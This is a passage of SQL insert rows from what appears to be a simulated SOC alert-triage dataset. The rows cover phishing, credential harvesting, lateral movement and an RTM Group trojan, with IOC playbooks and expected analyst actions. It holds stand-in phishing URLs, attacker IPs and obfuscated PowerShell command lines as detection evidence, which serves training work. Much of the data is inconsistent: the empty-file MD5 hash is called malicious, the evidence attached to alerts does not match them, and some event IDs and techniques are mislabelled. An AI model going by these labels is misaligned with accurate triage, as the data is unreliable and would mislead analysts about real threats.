Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1114, 'Phishing Email Detected: Fake Conference Invitation', 'medium', 'Email Gateway Logs', 'A phishing email campaign targeting Israeli academics and defense officials has been detected. The emails, posing as legitimate conference invitations, contain a link to a credential harvesting page. The objective is to trick recipients into revealing their credentials.', 'Initial Access', 'T1566.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"email_id\":\"12345abcde\",\"sender\":\"conference2023@fake-event.org\",\"recipient\":\"john.doe@university.ac.il\",\"subject\":\"Invitation to International Science Conference 2023\",\"email_server\":\"smtp.fake-event.org\",\"source_ip\":\"203.0.113.45\",\"attachment\":\"Conference_Agenda.pdf\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_link\":\"http://malicious-website.com/login\",\"internal_ip\":\"192.168.1.25\"}', '2026-02-01 13:57:21', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known phishing campaign source IP.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No associated malware detected.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-website.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"Credential harvesting site.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"conference2023@fake-event.org\",\"is_critical\":true,\"osint_result\":{\"source\":\"SPAMhaus\",\"verdict\":\"malicious\",\"details\":\"Email associated with phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected: Fake Conference Invitation\",\"date\":\"2026-02-01T20:32:22.833Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1115, 'Malicious Link Analysis: Credential Harvesting Page', 'medium', 'Web Traffic Analysis', 'Upon clicking the link in the email, targets are redirected to a counterfeit website that mimics a well-known academic conference. This site is designed to trick users into entering their login credentials, which are then captured by the attackers.', 'Execution', 'T1204.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"referrer\":\"http://phishing-academics.com/login\",\"email_sender\":\"notify@academia-conference.com\",\"recipient_email\":\"j.doe@university.edu\",\"malicious_url\":\"http://phishing-academics.com/login\",\"http_method\":\"GET\",\"status_code\":200,\"content_type\":\"text/html\",\"username\":\"j.doe\"}', '2026-02-01 13:57:21', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishing-academics.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"Phishing Database\",\"verdict\":\"malicious\",\"details\":\"URL is a known phishing site mimicking academic conference logins\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"notify@academia-conference.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Email domain not associated with legitimate conferences\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host suspected to have visited a malicious site\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"referrer\\\":\\\"http://phishing-academics.com/login\\\",\\\"email_sender\\\":\\\"notify@academia-conference.com\\\",\\\"recipient_email\\\":\\\"j.doe@university.edu\\\",\\\"malicious_url\\\":\\\"http://phishing-academics.com/login\\\",\\\"http_method\\\":\\\"GET\\\",\\\"status_code\\\":200,\\\"content_type\\\":\\\"text/html\\\",\\\"username\\\":\\\"j.doe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"referrer\\\":\\\"http://phishing-academics.com/login\\\",\\\"email_sender\\\":\\\"notify@academia-conference.com\\\",\\\"recipient_email\\\":\\\"j.doe@university.edu\\\",\\\"malicious_url\\\":\\\"http://phishing-academics.com/login\\\",\\\"http_method\\\":\\\"GET\\\",\\\"status_code\\\":200,\\\"content_type\\\":\\\"text/html\\\",\\\"username\\\":\\\"j.doe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"referrer\\\":\\\"http://phishing-academics.com/login\\\",\\\"email_sender\\\":\\\"notify@academia-conference.com\\\",\\\"recipient_email\\\":\\\"j.doe@university.edu\\\",\\\"malicious_url\\\":\\\"http://phishing-academics.com/login\\\",\\\"http_method\\\":\\\"GET\\\",\\\"status_code\\\":200,\\\"content_type\\\":\\\"text/html\\\",\\\"username\\\":\\\"j.doe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"referrer\\\":\\\"http://phishing-academics.com/login\\\",\\\"email_sender\\\":\\\"notify@academia-conference.com\\\",\\\"recipient_email\\\":\\\"j.doe@university.edu\\\",\\\"malicious_url\\\":\\\"http://phishing-academics.com/login\\\",\\\"http_method\\\":\\\"GET\\\",\\\"status_code\\\":200,\\\"content_type\\\":\\\"text/html\\\",\\\"username\\\":\\\"j.doe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"referrer\\\":\\\"http://phishing-academics.com/login\\\",\\\"email_sender\\\":\\\"notify@academia-conference.com\\\",\\\"recipient_email\\\":\\\"j.doe@university.edu\\\",\\\"malicious_url\\\":\\\"http://phishing-academics.com/login\\\",\\\"http_method\\\":\\\"GET\\\",\\\"status_code\\\":200,\\\"content_type\\\":\\\"text/html\\\",\\\"username\\\":\\\"j.doe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1116, 'Persistence Attempt Detected: Credential Use', 'medium', 'Account Login Logs', 'An attacker used harvested credentials to perform multiple login attempts across university and defense-related platforms. The aim is to establish persistent access within these networks.', 'Persistence', 'T1098 - Account Manipulation', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:01Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"username\":\"jdoe\",\"event_type\":\"login_attempt\",\"platform\":\"university-portal\",\"success\":false,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"action\":\"credential_use_attempt\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"malicious_payload.exe\"}', '2026-02-01 13:57:21', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known IP used in previous APT attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalAssetDB\",\"verdict\":\"internal\",\"details\":\"Internal university server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalSecurityDB\",\"verdict\":\"suspicious\",\"details\":\"Multiple failed login attempts recorded.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDB\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareRepository\",\"verdict\":\"malicious\",\"details\":\"File frequently used in credential theft attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.835Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:01Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"platform\\\":\\\"university-portal\\\",\\\"success\\\":false,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"action\\\":\\\"credential_use_attempt\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"malicious_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.835Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:01Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"platform\\\":\\\"university-portal\\\",\\\"success\\\":false,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"action\\\":\\\"credential_use_attempt\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"malicious_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.835Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:01Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"platform\\\":\\\"university-portal\\\",\\\"success\\\":false,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"action\\\":\\\"credential_use_attempt\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"malicious_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.835Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:01Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"platform\\\":\\\"university-portal\\\",\\\"success\\\":false,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"action\\\":\\\"credential_use_attempt\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"malicious_payload.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.835Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:01Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"login_attempt\\\",\\\"platform\\\":\\\"university-portal\\\",\\\"success\\\":false,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"action\\\":\\\"credential_use_attempt\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"malicious_payload.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1117, 'Unusual Data Movement: Potential Lateral Movement', 'high', 'Network Traffic Analysis', 'Anomalous network traffic detected involving potential lateral movement from a compromised host within the network to another internal system. The attacker appears to be using a known malicious IP to transfer data and execute commands on a secondary system.', 'Lateral Movement', 'T1071.001 - Application Layer Protocol: Web Protocols', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:33:45Z\",\"source_ip\":\"192.168.5.10\",\"destination_ip\":\"192.168.7.25\",\"external_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious_script.ps1\",\"username\":\"jdoe\",\"action\":\"File Transfer\",\"status\":\"Success\",\"description\":\"Suspicious file transfer observed from 192.168.5.10 to 192.168.7.25 using an external IP as a proxy.\"}', '2026-02-01 13:57:21', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Identified as a compromised internal host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with lateral movement activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected in multiple malware campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"suspicious\",\"details\":\"PowerShell script often used in lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1118, 'Suspicious Software Installation Detected', 'medium', 'Endpoint Detection and Response (EDR) system', 'A suspicious software installation was detected on an endpoint within the network. The RTM Group has successfully infiltrated the financial institution\'s network by embedding their trojan in a popular accounting software update. This action was aimed at deceiving users into granting initial access.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_type\":\"software_installation\",\"host_ip\":\"192.168.5.14\",\"username\":\"jdoe\",\"software_name\":\"AccountingPro Update\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"file_path\":\"C:\\\\Program Files\\\\AccountingPro\\\\update.exe\",\"attacker_ip\":\"203.0.113.45\",\"process_id\":5678,\"criticality\":\"medium\",\"description\":\"Installation of suspicious software update detected on host 192.168.5.14 by user jdoe. The software was downloaded from a malicious source associated with RTM Group.\"}', '2026-02-01 13:57:41', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.14\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Username of the individual who initiated the suspicious installation.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by the RTM Group.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address linked to RTM Group activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1119, 'Unusual Script Execution on Workstations', 'high', 'Security Information and Event Management (SIEM) logs', 'An unauthorized script has been detected executing on a workstation, which is indicative of a trojan activation attempting to establish a covert communication channel with a command and control server operated by the RTM Group. This activity is associated with financial transaction monitoring.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"hostname\":\"workstation-15\",\"username\":\"jdoe\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"203.0.113.45\",\"script_name\":\"update_check.ps1\",\"script_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\update_check.ps1\",\"detected_by\":\"SIEM\",\"event_id\":\"4720\",\"additional_info\":\"The script update_check.ps1 is not recognized as a legitimate script and its hash is associated with known malware.\"}', '2026-02-01 13:57:41', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised workstation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP associated with RTM Group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a PowerShell script used by RTM Group malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"update_check.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used by RTM Group for malicious scripts.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account on the network.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.838Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"hostname\\\":\\\"workstation-15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"script_name\\\":\\\"update_check.ps1\\\",\\\"script_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\update_check.ps1\\\",\\\"detected_by\\\":\\\"SIEM\\\",\\\"event_id\\\":\\\"4720\\\",\\\"additional_info\\\":\\\"The script update_check.ps1 is not recognized as a legitimate script and its hash is associated with known malware.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.838Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"hostname\\\":\\\"workstation-15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"script_name\\\":\\\"update_check.ps1\\\",\\\"script_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\update_check.ps1\\\",\\\"detected_by\\\":\\\"SIEM\\\",\\\"event_id\\\":\\\"4720\\\",\\\"additional_info\\\":\\\"The script update_check.ps1 is not recognized as a legitimate script and its hash is associated with known malware.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.838Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"hostname\\\":\\\"workstation-15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"script_name\\\":\\\"update_check.ps1\\\",\\\"script_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"command_line\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\update_check.ps1\\\",\\\"detected_by\\\":\\\"SIEM\\\",\\\"event_id\\\":\\\"4720\\\",\\\"additional_info\\\":\\\"The script update_check.ps1 is not recognized as a legitimate script and its hash is associated with known malware.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.838Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 